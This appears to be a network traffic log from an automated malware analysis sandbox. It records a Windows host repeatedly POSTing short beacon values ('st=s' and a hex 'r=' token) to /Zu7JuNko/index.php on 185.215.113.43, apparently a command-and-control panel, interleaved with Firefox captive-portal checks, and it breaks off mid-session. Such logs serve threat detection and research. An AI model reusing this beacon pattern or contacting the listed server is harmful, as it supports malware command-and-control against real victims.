Nov 29, 2024 19:55:30.477242947 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:55:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	50273	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:55:32.214392900 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:55:33.596405983 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:55:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	50274	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:55:35.237365961 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:55:36.713260889 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:55:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	50275	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:55:38.448518991 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:55:39.796472073 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:55:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.5	50276	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:55:41.425254107 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:55:42.784820080 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:55:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	50277	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:55:44.541208982 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:55:45.899910927 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:55:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	50278	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:55:47.534902096 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:55:48.920831919 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:55:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.5	50279	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:55:50.835972071 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:55:52.180340052 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:55:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	50280	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:55:53.805422068 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:55:55.223622084 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:55:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.5	50281	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:55:56.964556932 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:55:58.343609095 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:55:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.5	50282	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:55:59.976587057 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:56:01.372663021 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:56:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.5	50283	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:56:03.112889051 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:56:04.549019098 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:56:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.5	50284	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:56:06.191485882 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:56:07.548224926 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:56:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.5	50285	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:56:09.292854071 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:56:10.723221064 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:56:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	50286	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:56:12.361485004 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:56:13.804347992 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:56:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	50287	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:56:15.537138939 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:56:16.884113073 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:56:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	50288	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:56:18.512808084 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:56:19.950273037 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:56:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	50291	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:56:21.254272938 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 29, 2024 19:56:22.387511015 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 29 Nov 2024 01:51:28 GMT Age: 61494 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 29, 2024 19:56:32.398727894 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 29, 2024 19:56:42.594485044 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 29, 2024 19:56:45.737318993 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 29, 2024 19:56:46.062118053 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 29 Nov 2024 01:51:28 GMT Age: 61517 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 29, 2024 19:56:56.097310066 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 29, 2024 19:57:06.390305042 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 29, 2024 19:57:16.602488995 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 29, 2024 19:57:26.794929981 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 29, 2024 19:57:37.007421017 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 29, 2024 19:57:47.198339939 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 29, 2024 19:57:57.392808914 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 29, 2024 19:58:07.602400064 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 29, 2024 19:58:13.966166019 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 29, 2024 19:58:14.290368080 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 29 Nov 2024 01:51:28 GMT Age: 61606 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.5	50292	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:56:21.690977097 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:56:23.069446087 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:56:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.5	50293	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:56:22.512046099 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 29, 2024 19:56:23.645225048 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 29 Nov 2024 04:38:26 GMT Age: 51477 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 29, 2024 19:56:33.745168924 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 29, 2024 19:56:43.956275940 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 29, 2024 19:56:46.064987898 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 29, 2024 19:56:46.389102936 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 29 Nov 2024 04:38:26 GMT Age: 51500 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 29, 2024 19:56:56.459394932 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 29, 2024 19:57:06.652503014 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 29, 2024 19:57:16.844558001 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 29, 2024 19:57:27.058460951 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 29, 2024 19:57:37.248923063 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 29, 2024 19:57:47.459459066 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 29, 2024 19:57:57.651340008 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 29, 2024 19:58:07.943346977 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 29, 2024 19:58:14.292593002 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 29, 2024 19:58:14.616827965 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 29 Nov 2024 04:38:26 GMT Age: 51588 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.5	50294	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:56:27.654452085 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:56:29.038711071 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:56:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	50295	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
